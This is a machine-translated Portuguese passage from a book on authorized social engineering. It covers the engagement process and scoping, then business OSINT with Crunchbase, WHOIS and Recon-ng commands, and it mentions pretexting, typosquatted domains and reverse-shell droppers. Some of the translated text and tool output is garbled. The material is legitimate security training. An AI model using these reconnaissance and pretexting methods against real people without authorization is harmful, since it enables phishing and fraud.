essas fases em https:// www.cybrary.it/ blog/ 2015/05/ summarizing-the-five phases-of-
penetration-testing/. No entanto, quando se trata de engenharia social, faz sentido definir um
processo de ataque ligeiramente diferente a seguir. O processo de engenharia social na
Figura 3-1 adapta o processo de teste de penetração para padronizar a engenharia
social.

Preparando-se para um ataque 29


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Comunicando Escopo

Medição Reconhecimento

Detecção Design e
aprovação

Implementação

Figura 3-1: O processo de engenharia social

Cada etapa do processo é a seguinte:


Escopo
Na fase de definição do escopo do processo de engenharia social, você
faz perguntas ao seu cliente para garantir que possui todas as informações
necessárias.

Reconhecimento
Na fase de reconhecimento, você tenta identificar os principais funcionários
da empresa; vendedores, parceiros, fornecedores, tecnologia utilizada;
domínios e subdomínios utilizados; endereços de e-mail e a sintaxe de
endereço de e-mail padrão da empresa (por exemplo, nomes e sobrenomes
separados por ponto). Depois de assinar o contrato para realizar o trabalho,
você poderá iniciar o reconhecimento dentro dos prazos definidos no
contrato. Além de aderir ao contrato e fazer o reconhecimento de uma
maneira que seja consistente com seus objetivos de tempo (por exemplo,
não gastar 12 horas reunindo OSINT em um único alvo em um trabalho
com escopo de 4 horas), normalmente você não pode coletar muito
OSINT. Dito isto, algumas entidades apenas mantêm uma boa Segurança
de Operações (OPSEC): não utilizam redes sociais, ou podem até
tomar medidas activas para colocar propositadamente informações
enganosas ou falsas nas suas contas para evitar tais ameaças. Chamamos
esse processo de desinformação e engano.

30 Capítulo 3
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Os Capítulos 4, 5 e 6 fornecerão algumas das ferramentas para realizar a coleta


OSINT. Tenha em mente que, embora seja importante coletar uma boa
quantidade de informações sobre a empresa-alvo e seus funcionários, você é
responsável por proteger os dados enquanto os mantém. Você deve manter
apenas o que precisa durante o tempo necessário e apenas pelos períodos de
tempo legalmente exigidos.

Projeto e Aprovação

Você deve gastar algum tempo garantindo que o OSINT que você reuniu é
relevante e, em seguida, transformá-lo em uma arma que ajude os funcionários e
a organização-alvo a crescer e aprender. Afinal, mesmo que você esteja
tentando obter acesso a um sistema ou a informações, você deve querer ser
pego e querer que seus clientes aprendam com suas atividades.

A fase de design e aprovação envolve a elaboração de possíveis pré-textos


para seu cliente revisar e aprovar. Você compartilhará os detalhes do
pretexto, os números de telefone de onde ligará, os endereços de e-mail de
onde enviará os e-mails e os horários em que planeja começar e terminar.
Explique também seu objetivo. Por exemplo, poderia ser para medir o número de
vezes que os alvos clicaram em links incluídos em um e-mail.
Ou talvez você esteja tentando obter informações confidenciais deles ou implantar
malware ou droppers de shell reverso (software que permite conectar-se
remotamente e instalar malware).

Implementação

Na fase de implementação, você instala e configura qualquer software.


Isso inclui infraestrutura como contas de e-mail, servidores web, documentos do
Microsoft Office habilitados para macro, malware, unidades USB e outras iscas.
Você também pode obter acesso à lixeira da organização e coletar itens para
levar para fora do local para análise posterior. Você pegará os pretextos aprovados
pelo seu ponto de contato e os colocará em ação realizando ataques de phishing,
vishing e outros ataques definidos no SOW.

Detecção

Durante a fase de detecção, os defensores tentarão detectar a actividade de


engenharia social e depois tomarão medidas para mitigar a sua eficiência ou
impacto. Dependendo do âmbito do combate, os defensores podem ou não
saber que o ataque foi autorizado.
Se isso fizer parte de um compromisso da equipe vermelha, provavelmente
não o farão. Embora esta fase pareça menos emocionante do que o ataque em
si, é a parte mais importante do processo. Lembre-se de que o objetivo final é
condicionar as organizações a detectar e mitigar atividades de engenharia social.

Medição

Na fase de medição, você determina informações como quantas pessoas


foram vítimas das palhaçadas, quanto tempo durou o envolvimento

Preparando-se para um Ataque 31


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

para detectar quando as vítimas fizeram uma denúncia, quantas denúncias foram feitas e
uma variedade de outras métricas. Depois de analisar essas informações, você deverá
compilá-las em um relatório para o cliente. Discutiremos técnicas de medição no Capítulo
9.

Comunicando

Na fase de relatório, você pega as métricas coletadas e as reúne junto com o SOW,
um resumo executivo, uma sinopse de como foi o trabalho e quaisquer descobertas da
coleta OSINT ou do desempenho do trabalho. Você pode usar um modelo como o do
Apêndice B para escrever seu relatório. Você apresentará isso ao cliente para registro e
revisão. Se você optar por manter uma cópia deste relatório, precisará proteger o
documento, pois as informações contidas nele podem ser potencialmente utilizadas
indevidamente para atacar o cliente.

Além deste processo de engenharia social, você pode achar útil


para consultar o loop Observe-Orient-Decide-Act (OODA) para a coleção OSINT, que eu uso.
O ciclo, mostrado na Figura 3-2, solicita que você observe suas descobertas e construa uma
hipótese (a fase de orientação ) e depois busque mais informações para tentar confirmar
essas informações.

Agir Observar

Decidir Orientar

Figura 3-2: Ciclo OODA

Depois de ter dados suficientes, você pode decidir o que fazer com eles. Você deve
praticar phishing ou vishing ou precisa de mais informações para ter sucesso? Você tem
informações suficientes para perpetrar essa penetração

32 Capítulo 3
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

teste ou envolvimento da equipe vermelha com a quantidade adequada de


furtividade? Então, dependendo do resultado dessas decisões, você age.
Agir pode incluir executar o ataque ou escrever o relatório (se OSINT for tudo o
que o cliente deseja) ou pode desencadear mais iterações do loop OODA. Não há resposta
certa ou errada aqui; depende dos seus objetivos e das limitações de tempo estabelecidas
no seu acordo com o cliente.
Dito isto, você poderia aplicar esse loop a qualquer tipo de ataque, seja ele
explorar um servidor web ou explorar o administrador web.

Estudo de caso: Por que o escopo é importante


Em setembro de 2019, dois testadores de penetração que trabalhavam para a Coalfire
foram presos por tentar obter acesso ao Tribunal do Condado de Dallas em Adel, Iowa.
Embora os detalhes específicos sobre este envolvimento não estejam disponíveis neste
momento, sabemos que a dupla agiu como parte de um teste de penetração autorizado
pela Administração do Tribunal do Estado de Iowa (SCA). Em comunicado à Ars
Technica, o SCA admite autorizar a Coalfire a testar a segurança dos registos
eletrónicos do tribunal.
De acordo com a sua declaração, a SCA não pretendia nem previu que os
testadores tentariam obter acesso físico. Os testadores e a Coalfire afirmam que o teste
de penetração foi para determinar a vulnerabilidade dos registros e medir a resposta
das autoridades policiais. Embora isso não pareça totalmente irracional, o fato de os
testadores terem ficado presos por mais de algumas horas e terem que pagar fiança não
é um bom presságio para o escopo deste compromisso.

Com base nas informações fornecidas, os testadores de penetração poderiam ter


feito várias coisas de maneira diferente. É uma boa ideia comunicar-se frequentemente
com os pontos de contato de segurança do seu cliente. Se você tiver dúvidas, não
hesite em perguntar. Além disso, os testadores poderiam ter garantido que teriam
consigo uma cópia autenticada da autorização formal em todos os momentos ao realizarem
o aspecto de infiltração física do teste.
Como isso poderia ter sido mitigado ou evitado?

•Faça perguntas para esclarecer o escopo.


•Tenha um diálogo útil com seu contato por e-mail. A comunicação verbal faz as coisas
acontecerem, mas oferece pouca proteção legal.
•A gestão deve definir explicitamente não apenas o que é permitido, mas também o que
não é permitido, no contrato e nos documentos de autorização. Isso deve fazer
parte do processo de contrato.

Conclusão

Reservar um tempo para definir o escopo adequado do envolvimento com seu cliente é
uma maneira excelente de economizar tempo e esforço para vocês dois. Compreender
as perguntas certas a serem feitas certamente o ajudará. Prepare-se para o seu ataque
seguindo o processo de engenharia social. Alguns engenheiros sociais pregam que seu trabalho

Preparando-se para um Ataque 33


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

é trazer o caos para uma empresa. Embora isso seja verdade em certo sentido, você também
deve ter um método para lidar com essa loucura para garantir que todos os envolvidos ganhem.
Você consegue o trabalho e continua a promover sua reputação, enquanto o cliente recebe o que
pediu e pagou de uma forma que agrega valor à sua organização e, esperançosamente,
significa repetir negócios para você.

34 Capítulo 3
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

4
REUNINDO OSINT DE NEGÓCIOS

Open Source Intelligence (OSINT) são quaisquer


dados que você pode encontrar em fontes não ocultas
e disponíveis publicamente. A quantidade e a
importância dos dados públicos disponíveis podem fazer ou quebrar o s
campanha. Se você entrar em contato com um alvo sem qualquer
conhecimento de seus gostos e desgostos, ambiente operacional,
estrutura organizacional ou linguagem interna da empresa,
provavelmente fracassará.
Por outro lado, dedicar um tempo para entender o que faz o alvo clicar fornecerá
um contexto imediato para o contato. Muitas vezes, as pessoas tentam realizar
operações de engenharia social depois de pular ou apressar a reunião OSINT, deixando-as
sem motivo para falar com seu alvo.

Este capítulo apresenta três categorias OSINT: inteligência de negócios, pessoas


e ameaças cibernéticas. Em seguida, examinarei algumas ferramentas OSINT de negócios
para tarefas úteis, como encontrar nomes de executivos de empresas, descobrir arquivos
disponíveis publicamente, coletar endereços de e-mail e ler metadados de documentos.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Estudo de caso: Por que OSINT é importante


Em 2017, ganhei o Social Engineering Capture the Flag (SECTF) da DerbyCon.
Este exercício colocou eu e cinco outros concorrentes contra uma empresa desconhecida
da Fortune 500 na área de Louisville, KY. Passamos três semanas coletando OSINT, seguidas
de 20 minutos em uma cabine (principalmente) à prova de som para visitar os funcionários da
empresa-alvo. Ao pesquisar minha empresa-alvo, verifiquei as contas de mídia social de um
executivo e descobri que ele havia se atrasado para uma reunião de negócios em Amsterdã
porque uma companhia aérea atrasou seu voo em Newark. Essa informação aparentemente
inofensiva me deu a desculpa perfeita para contatá-lo.

Com esse conhecimento, adicionei o número de telefone daquela companhia aérea à


minha lista de números para visitar. Em seguida, adquiri o nome, o endereço de e-mail e o
número de telefone do executivo e os adicionei à minha lista de alvos. Se esse fosse um
compromisso que permitisse phishing, eu teria enviado um e-mail de desculpas que imitava o
modelo da companhia aérea e, em seguida, teria feito um telefonema, fingindo ser a companhia
aérea. Então eu poderia ter confirmado as informações que já conhecia e feito “perguntas de
segurança” para convencer o alvo de que era uma fonte confiável. Posso até ter incorporado
alguns sons do sistema operacional Windows para ampliar minha credibilidade. Finalmente, eu
teria feito perguntas potencialmente letais sobre o ambiente operacional da empresa, como o
status das atualizações de equipamentos, cronogramas operacionais ou outros dados confidenciais
específicos da empresa.
Esses ataques seriam impossíveis se eu não tivesse descoberto primeiro a postagem do
executivo sobre seu voo atrasado. Raramente ocorrerá um ataque eficaz de engenharia social
sem uma compreensão informada do alvo. Melhor OSINT produz melhor engenharia social.

Compreendendo os tipos de OSINT


OSINT pode ser sobre uma organização, uma pessoa ou um trecho de código. Na coleta OSINT
empresarial , buscamos informações sobre a empresa como um todo: tecnologias utilizadas,
fornecedores, clientes, operações e locais.
Para coletar pessoas OSINT, podemos ir em duas direções. Podemos atingir a própria
pessoa, procurando informações como o que ela gosta, o que não gosta, outras conexões,
perguntas sobre redefinição de senha e contexto para adivinhar senhas. Alternativamente,
podemos aproveitar a pessoa para aprender sobre o negócio para o qual ela trabalha. Esse tipo
de OSINT pode incluir fotos da pessoa no trabalho, currículos, reclamações ou queixas, qualquer
vanglória que ela tenha feito sobre o trabalho e viagens que tenha feito a trabalho, para citar
alguns.

NOTA Como regra geral, não segmentarei explicitamente as contas pessoais de uma pessoa como parte do
um noivado. Posso coletar informações para usar, mas não tentarei contatá-los por meio de uma
conta pessoal do Facebook, Twitter ou LinkedIn.

OSINT pode ser usado para habilitar inteligência contra ameaças cibernéticas (CTI) ,
que geralmente envolve um trecho de código ou um adversário específico. Nós o usamos como
um meio de identificar o autor de um ataque e seus motivos. Por exemplo, você pode rastrear
elementos de código para determinar seu autor ou país. Ou você pode rastrear um endereço
de e-mail ou número de telefone que entrou em contato com seu

36 Capítulo 4
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

organização. As pessoas debatem a eficácia do OSINT para inteligência de ameaças.


Algumas organizações fazem isso muito bem, enquanto outras tentam ganhar dinheiro
rápido às custas de seus clientes.

OSINT empresarial

Esta seção irá ajudá-lo a começar a coletar OSINT de negócios. Que contexto você
pode usar para construir relacionamento ao se comunicar com os funcionários de
uma empresa? Examinarei algumas ferramentas de coleta OSINT aqui.

Obtendo informações comerciais básicas do Crunchbase


Várias plataformas podem fornecer informações sobre uma empresa. Embora a maioria
cobre por informações detalhadas, alguns permitem a coleta de uma quantidade
limitada de informações gratuitamente ou sem autenticação. Um exemplo desse site
é o Crunchbase (https:// www.crunchbase.com/). O Crunchbase tem um nível gratuito
que atende à maioria das necessidades dos entusiastas casuais do OSINT. Se você
planeja usar isso intensamente ou como consultor profissional, recomendo pagar pelo nível Pro.
Pesquisar no Crunchbase por Walmart exibe um perfil com várias guias.
A Figura 4-1 mostra a guia Resumo, que permite obter o endereço da sede corporativa.
Antes de rolar para baixo, você pode descobrir a quantidade de fusões, aquisições e
saídas das quais a empresa participou. Você pode ver o preço da bolsa (se for uma
empresa de capital aberto), notícias recentes sobre a empresa e o início de informações
fundamentais, às vezes históricas, sobre a empresa. O Crunchbase reúne essas
informações a partir de uma combinação de informações de analistas, web scraping e
auto-relato, que variam em precisão.

Figura 4-1: Guia Resumo do perfil Crunchbase para Walmart

Reunindo Negócios OSINT 37


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

A guia Finanças fornece informações específicas sobre investimentos,


saídas e captação de recursos (Figura 4-2).
Se a empresa for de capital aberto, você encontrará a oferta pública inicial (IPO) e
informações sobre o preço das ações. Se você estiver pesquisando uma empresa privada, verá
pouco ou nada nesta seção, ou talvez aprenderá sobre os esforços de arrecadação de fundos,
incluindo valores arrecadados, investidores e datas. Se a empresa investiu dinheiro ou fez
doações, isso será listado a seguir (Figura 4-3), seguido por Saídas e completado por Aquisições
(Figura 4-4).

Figura 4-2: Informações sobre ações do Walmart na guia Crunchbase Financials

Figura 4-3: Informações de investimento do Walmart na aba Crunchbase Financials

38 Capítulo 4
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 4-4: Informações de aquisição do Walmart na aba Crunchbase Financials

A seguir está a guia Pessoas, que inclui funcionários importantes. Estes são
normalmente executivos que supervisionam determinadas áreas-chave ou pessoas que tiveram impacto
na história da organização. Por exemplo, a Figura 4-5 lista Sam Walton, o fundador do Walmart, como
“Fundador e Administrador” da Equipe Atual e membro do Conselho de Administração, apesar de ter
falecido em 1992.

Figura 4-5: Aba Pessoas do perfil Crunchbase para Walmart

Reunindo Negócios OSINT 39


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

A guia Tecnologia fica praticamente bloqueada, a menos que você tenha uma conta de nível Pro.
Se você tiver essa conta, esta guia mostrará estatísticas de tráfego da web, métricas de aplicativos
móveis e informações limitadas sobre as patentes da empresa e outros registros de propriedade
intelectual. Essas informações podem ser encontradas em outros lugares na Internet, portanto, ficar
bloqueado não é um grande problema. Tente olhar para BuiltWith (https:// www.builtwith.com/),
Wappalyzer (https:// www.wappalyzer.com/), ou Shodan (https:// www.shodan.io/).

A aba final, Sinais e Notícias, agrega notícias relevantes e mudanças de liderança (Figura 4-6).

Figura 4-6: Aba Sinais e Notícias do perfil Crunchbase para Walmart

Esta guia também lista eventos aos quais a organização tem alguma afiliação,
seja patrocinando-os ou fazendo com que os funcionários falem com eles. Este é um bom ponto
de partida, mas não substitui outras fontes de informação, incluindo documentos públicos, comunicados
de imprensa e reportagens dos meios de comunicação social. (Discutiremos essas fontes nos
próximos capítulos.) Essa guia também pode sugerir possíveis termos de pesquisa que você pode
inserir no mecanismo de pesquisa de sua escolha.

Identificando proprietários de sites com WHOIS


Pronunciado “quem é”, WHOIS é um diretório de sites, seus proprietários, seus blocos de rede e
seus pontos de contato. Seu objetivo é permitir que pessoas com dúvidas comerciais legítimas
entrem em contato com as equipes web das empresas em relação à presença na web. Para ler mais
sobre isso, consulte RFC 9312.
Você pode pesquisar no WHOIS através do DomainTools, conforme mostrado na Figura 4-7.
O comando whois está integrado nas versões Offensive Security e Trace Labs Kali e pode ser
adicionado a qualquer sistema Linux por meio de apt-get ou comandos semelhantes para outras
distribuições Linux.

40 Capítulo 4
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

A parte superior da página mostra domínios semelhantes ao domínio do alvo e que estão em leilão.
Eles podem ser úteis para invasão de domínio e outras tentativas de phishing ou isca. A falsificação é fácil de
detectar e a maioria dos clientes de e-mail possui proteções contra ela, enfraquecendo seu potencial como
engenheiro social. A ocupação de domínio ou de erro de digitação tem maior probabilidade de fazer com que os
e-mails passem por filtros e cheguem às caixas de entrada.

Figura 4-7: Registro WHOIS do Walmart via DomainTools

Em seguida, observe que a transferência é proibida, o que significa que você provavelmente não conseguirá
transferir esse domínio para um provedor diferente, uma atividade que as equipes vermelhas costumam tentar.
Observe também a idade do domínio. Isso ajuda a confirmar que você está olhando para o alvo certo.
Alternativamente, esse mesmo recurso pode revelar que os domínios que você usa são falsos. É por isso que é
uma boa ideia comprar domínios e esperar de seis meses a um ano antes de usá-los.

A seguir estão os servidores de nomes de domínio que o site usa. Estes podem alguns

vezes indicam outros softwares empregados pela empresa. Por exemplo, o Walmart usa Akamai e
UltraDNS. A Akamai também fornece serviços de rede de distribuição de conteúdo (CDN) (para permitir
carregamento mais rápido de páginas e mitigar ataques de DOS) e realiza proteção na Web e balanceamento de
carga (maior mitigação de DOS). É importante saber isso se você estiver se preparando para um teste de
penetração.
Esteja ciente de que, a partir de 25 de maio de 2018, o Regulamento Geral de Proteção de Dados
(GDPR) da UE mudou a forma como o WHOIS é tratado em sua jurisdição. Isto levou a Corporação da
Internet para Atribuição de Nomes e Números (ICANN), o órgão regulador do WHOIS, a alterar as informações
apresentadas para empresas e contactos localizados na UE.

Reunindo Negócios OSINT 41


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Coletando OSINT da linha de comando com Recon-ng


Recon-ng é uma ferramenta de linha de comando para Linux, escrita por Tim Tomes, para coletar
OSINT. Ele funciona de forma muito parecida com o Metasploit: você pode inserir informações, definir
alvos e então usar o comando run para realizar uma pesquisa.
Uma infinidade de ferramentas são incorporadas ao Recon-ng para coletar OSINT de empresas
e pessoas, desde e-mails violados de Have I Been Pwned (discutido no Capítulo 6) e netblocks de
registros DNS até hosts ou portas de Shodan (discutido no Capítulo 5 ). Você pode encontrar a maioria
das coisas que deseja aprender sobre uma empresa usando o Recon-ng.

Instalando o Recon-ng

O Recon-ng vem pré-instalado nas versões Offensive Security e Trace Labs Kali. Para usar o Recon-
ng em um sistema Linux diferente, você precisará do Python 3, a ferramenta de gerenciamento de
pacotes pip3 e do Git. Então você pode instalá-lo no diretório /opt com os seguintes comandos:

root@se-book:/opt# git clone https://github.com/lanmaster53/recon-ng


Clonando em 'recon-ng' ...
---recorte--
Resolvendo deltas: 100% (4824/4824), concluído.
root@se-book:/opt# cd recon-ng/
root@se-book:/opt/recon-ng#ls -la
--recorte--
-rw-r--r-- 1 raiz raiz 97 25 de setembro 18:37 REQUISITOS
--recorte--
-rwxr-xr-x 1 root root 2498 25 de setembro 18:37 reconhecimento-ng
-rwxr-xr-x 1 raiz raiz 97 25 de setembro 18:37 recon-web
root@se-book:/opt/recon-ng# python3 -m pip install -r REQUISITOS
Requisito já satisfeito: pyyaml em /usr/lib/python3/dist-packages (de -r REQUIREMENTS (linha 2))

Coletando dnspython (de -r REQUIREMENTS (linha 3))


Baixando https://files.pythonhosted.org/packages/ec/d3/3aa0e7213ef72b8585747aa0e271a9523e7
13813b9a20177ebe1e939deb0/dnspython-1.16.0-py2.py3-none-any.whl (188kB)
100% |ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ| 194kB 5,6MB/s

Configurando um espaço de trabalho

O Recon-ng permite definir espaços de trabalho separados, que são ótimos para manter segmentadas
as informações coletadas. Você pode definir o espaço de trabalho ao abrir o Recon-ng e armazenar os
dados coletados em seu próprio banco de dados SQLite exclusivo. Se eu estiver procurando por
diversas entidades ou empresas como parte da mesma investigação, darei a elas seu próprio espaço de
trabalho para não me confundir enquanto reviso as informações coletadas. Se você não definir um espaço
de trabalho, o Recon-ng gravará todos os resultados no espaço de trabalho padrão e no banco de dados
associado.
Para usar um espaço de trabalho ao iniciar o Recon-ng, execute o seguinte:

recon-ng -w nome do espaço de trabalho

42 Capítulo 4
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Por exemplo, se eu estivesse investigando o Walmart, poderia executar isto:

reconhecimento-ng -w walmart

O espaço de trabalho resultante ficaria assim:

[reconhecimento de] [walmart]

Se você já estiver no Recon-ng, poderá visualizar os espaços de trabalho disponíveis por problema
usando o comando de lista de espaços de trabalho .

NOTA Você não pode fazer isso enquanto um módulo está carregado; portanto, nessa situação, você precisará emitir
o comando back .

Se quiser carregar um espaço de trabalho existente, você pode emitir este comando:

nome do espaço de trabalho de carga do espaço de trabalho

Você também pode criar um espaço de trabalho usando o seguinte:

espaço de trabalho criar nome do espaço de trabalho

Depois que você não precisar mais de nenhuma informação em um espaço de trabalho
e seus requisitos de retenção foram aprovados, você pode removê-lo:

espaço de trabalho remover nome do espaço de trabalho

Instalando Módulos Recon-ng

Em seguida, você deve habilitar e instalar módulos. Vamos ver quais módulos estão disponíveis usando
a pesquisa de mercado:

[recon-ng][walmart] > pesquisa de mercado


+---------------------------------------------------------------- ----------------------------------------+
|. Caminho | Versão | Status | Atualizado | D | K |
+---------------------------------------------------------------- ----------------------------------------+
| descoberta/info_disclosure/cache_snoop | 1,0 | não instalado | 24/06/2019 | | descoberta/divulgação_de_informações/ | |
arquivos_interessantes | 1,0 | não instalado | 24/06/2019 | | exploração/injeção/command_injector. | 1,0 | não instalado | |
| 24/06/2019 | | exploração/injeção/xpath_bruter | 1.1 | não instalado | 19/08/2019 | | importar/arquivo_csv | 1.1 | não | |
instalado | 09/08/2019 | | importar/lista | 1,0 | não instalado | 24/06/2019 | | |
| |
| |

Você pode instalar módulos de duas maneiras: um por um ou todos de uma vez. Para instalar
um único módulo, insira o seguinte comando, substituindo import/ csv_file
com o caminho completo do módulo:

[recon-ng][walmart] > importação de instalação do mercado /csv_file


[*] Módulo instalado: import/csv_file
[*] Recarregando módulos...

Reunindo Negócios OSINT 43


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Para instalar todos os módulos disponíveis, use o seguinte comando:

[recon-ng][walmart] > marketplace instalar tudo


[*] Módulo instalado: Discovery/info_disclosure/cache_snoop
[*] Módulo instalado: Discovery/info_disclosure/interesting_files
[*] Módulo instalado: exploração/injeção/command_injector
--recorte--
[*] Módulo instalado: reporting/xml
[*] Recarregando módulos...
[!] Chave 'google_api' não definida. O módulo pushpin provavelmente falhará em tempo de execução. Consulte 'adição de chaves'.
[!] Chave 'bing_api' não definida. O módulo bing_linkedin_cache provavelmente falhará em tempo de execução. Consulte 'adição de
chaves'.
[!] Chave 'censysio_id' não definida. O módulo censysio provavelmente falhará em tempo de execução. Consulte 'adição de chaves'.

NOTA Ignore os avisos sobre chaves de API ausentes. Importaremos chaves de API apenas para os módulos necessários.

Adquirindo e adicionando chaves de API

Para que algumas das ferramentas acessem recursos externos, você precisará adicionar chaves de API de vários
sites. Cada site tem seu próprio processo para obter essas chaves, e esses procedimentos tendem a mudar com
frequência. Você pode encontrar meu tutorial atualizado para obter essas chaves de API em https://
www.theosintion
.com/practical-social-engineering/ ou verifique as páginas de chaves de API nos sites de cada ferramenta.

Assim que tiver as chaves, use a seguinte sintaxe no Recon-ng para adicioná-las:

chaves adicionam o nome do valor do módulo

Verifique se o Recon-ng possui a chave no banco de dados com o seguinte


comando:

lista de chaves

Encontrando e executando módulos Recon-ng

Existem cinco tipos de módulos Recon-ng: descoberta, exploração, importação, reconhecimento e relatório.
Neste livro, usaremos os tipos de módulo de descoberta, reconhecimento e relatório.

Para ver os módulos relativos a um tipo específico, use o comando search, seguido do nome do tipo:

descoberta de pesquisa de módulos

Se você souber parte do nome do módulo, poderá usar a função de pesquisa para localizá-lo, assim:

pesquisa de módulos hibp

44 Capítulo 4
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Você também pode invocar um módulo diretamente com o comando de carregamento de


módulos se souber o nome do módulo ou o início do nome do módulo:

módulos carregam metacr

O comando anterior carregará o módulo metacrawler . Agora vamos


explore alguns desses módulos com mais detalhes.
Para definir uma meta para um módulo, você precisará saber quais entradas o módulo
aceita. Descubra isso emitindo o comando info . Quando estiver pronto para inserir um destino ou
valor em um dos campos aceitos, emita o comando options set NAME OF FIELD VALUE OF
FIELD .

Enumerando arquivos com Metacrawler

O módulo metacrawler pesquisa um site ou sites de destino em busca de arquivos Microsoft


Power Point, Word, Excel e PDF. É o equivalente a fazer um idiota no Google - escrever
longas consultas de pesquisa, como esta:

site:nostarch.com Tipo de arquivo:XLS* OU Tipo de arquivo:DOC* OU Tipo de arquivo:PPT* ou Tipo de arquivo:PDF

Por exemplo, para pesquisar todos os tipos de arquivo em nostarch.com , use o seguinte
comandos:

[recon-ng][default][metacrawler] > conjunto de opções FONTE nostarch.com


FONTE => nostarch.com
[recon-ng][default][metacrawler] > executar
------------
NOSTARCH.COM
------------

[*] Pesquisando no Google por: site:nostarch.com filetype:pdf OR filetype:docx OR filetype:xlsx OR


filetype:pptx OR filetype:doc OR filetype:xls OR filetype:ppt

[*] https://www.nostarch.com/download/WGC_Chapter_3.pdf
[*] Produtor: Acrobat Distiller 6.0 (Windows)
[*] Título: Escreva um ótimo código
[*] Autor: (c) 2004 Randall Hyde
[*] Criador: PScript5.dll Versão 5.2
[*] Atualização: D:20041006112107-07'00'
[*] Data de criação: D:20041006111512-07'00'
[*] https://www.nostarch.com/download/wcss_38.pdf
[*] Produtor: Acrobat Distiller 5.0 (Windows)
[*] Título: wcss_book03.book
[*] Autor: Riley
[*] Criador: PScript5.dll Versão 5.2
[*] Atualização: D:20040206172946-08'00'
[*] Data de criação: D:20040116180100Z

Se Extract estiver definido como True, este comando gerará todos os documentos no
site público do destino que estejam nos formatos PDF ou Microsoft Office (Excel,
Word ou PowerPoint) com um link para o arquivo e metadados, incluindo o

Reunindo Negócios OSINT 45


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

autor, o software que o criou, a data de modificação, o software que o produziu e a data
em que foi criado. Se Extract estiver definido como False, a saída fornecerá apenas o
nome do arquivo e o link.
Com essas informações, você pode fazer inúmeras coisas. Da meta
dados, você pode enumerar usuários, sistemas operacionais e software usados.
Nos próprios arquivos, você poderá encontrar informações que o alvo pretendia manter
privadas, incluindo nomes, endereços de e-mail, números de telefone e fax, locais e
assuntos comerciais importantes.

Encontrando pontos de contato de domínio com whois_pocs

O módulo whois_pocs enumera todos os pontos de contato conhecidos para um


determinado domínio. É mais robusto para esse recurso do que o módulo whois_miner
e funciona até mesmo contra alvos com privacidade de domínio. Aqui está um exemplo
de execução deste módulo no Walmart:

[recon-ng][default][whois_pocs] > módulos carregam whois_pocs


[recon-ng][padrão][whois_pocs] > conjunto de opções FONTE walmart.com
FONTE => nostarch.com
[reconhecimento] [padrão] [whois_pocs]> informações
Nome: Colheitadeira Whois POC
Caminho: módulos/recon/domains-contacts/whois_pocs.py
Autor: Tim Tomes (@LaNMaSteR53)
Descrição:
Usa o ARIN Whois RWS para coletar dados POC de consultas whois para um determinado
domínio. Atualiza a tabela 'contatos' com os resultados.
Opções:
Nome Valor Atual Obrigatório Descrição
------ ------------- -------- -----------

FONTE walmart.com sim fonte de entrada (veja 'mostrar informações' para


detalhes)
Opções de fonte:
padrão SELECIONE domínio DISTINTO DOS domínios ONDE o domínio NÃO É NULO
<string> string representando uma única entrada
<caminho> caminho para um arquivo contendo uma lista de entradas
consulta <sql> consulta de banco de dados retornando uma coluna de entradas
[reconhecimento] [padrão] [whois_pocs]> executar
-----------
WALMART.COM
-----------

[*] URL: http://whois.arin.net/rest/pocs;domain=walmart.com


[*] URL: http://whois.arin.net/rest/poc/ABUSE327-ARIN
[*] País: Estados Unidos
[*] E-mail: abuse@walmart.com
[*] Nome_Nome: Nenhum
[*] Sobrenome: Abuso
[*] Nome_do_meio: Nenhum
[*] Notas: Nenhuma
[*] Telefone: Nenhum
[*] Região: Brisbane, CA
[*] Título: Contato Whois
[*] ----------------------------------------------- ---

46 Capítulo 4
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Lembre-se de que algumas organizações não publicam suas informações WHOIS.

Usando mx_spf_ip para aprender sobre as políticas de e-mail de um domínio

O módulo mx_sfp_ip recupera o registro DNS mail exchanger (MX) para um domínio. O registro
MX define como o domínio processa email. Mostra os servidores de e-mail usados e quaisquer
registros do Sender Policy Framework (SPF)
que restringem intervalos de IP a partir dos quais o domínio pode receber mensagens, bem como
domínios que podem enviar e-mails para a organização sem escrutínio.
Usando o registro MX, um invasor pode aproveitar as informações que ele contém para criar um
ataque de falsificação de e-mail bem-sucedido. Por exemplo, o invasor pode enumerar os intervalos de
IP listados no registro e seus domínios associados. Isso pode fornecer pistas sobre relações
comerciais, fornecedores ou tecnologias utilizadas.

O comando a seguir recupera o registro MX de nostarch.com. O


a saída confirma que o site usa servidores de e-mail do Google, mas a falta de um
O registro SPF indica que No Starch não implementou SPF:

[recon-ng][book][mx_spf_ip] > conjunto de opções FONTE nostarch.com


FONTE => nostarch.com
[recon-ng][livro][mx_spf_ip] > executar
[*] Recuperando registros MX para nostarch.com.
[*] [host] alt1.aspmx.l.google.com (<em branco>)
[*] [host] aspmx.l.google.com (<em branco>)
[*] [host] alt3.aspmx.l.google.com (<em branco>)
[*] [host] alt2.aspmx.l.google.com (<em branco>)
[*] [host] alt4.aspmx.l.google.com (<em branco>)
[*] Recuperando registros SPF para nostarch.com.
[*] nostarch.com => Nenhum registro encontrado.

Por outro lado, o resultado a seguir nos mostra que o Walmart usa FPS:

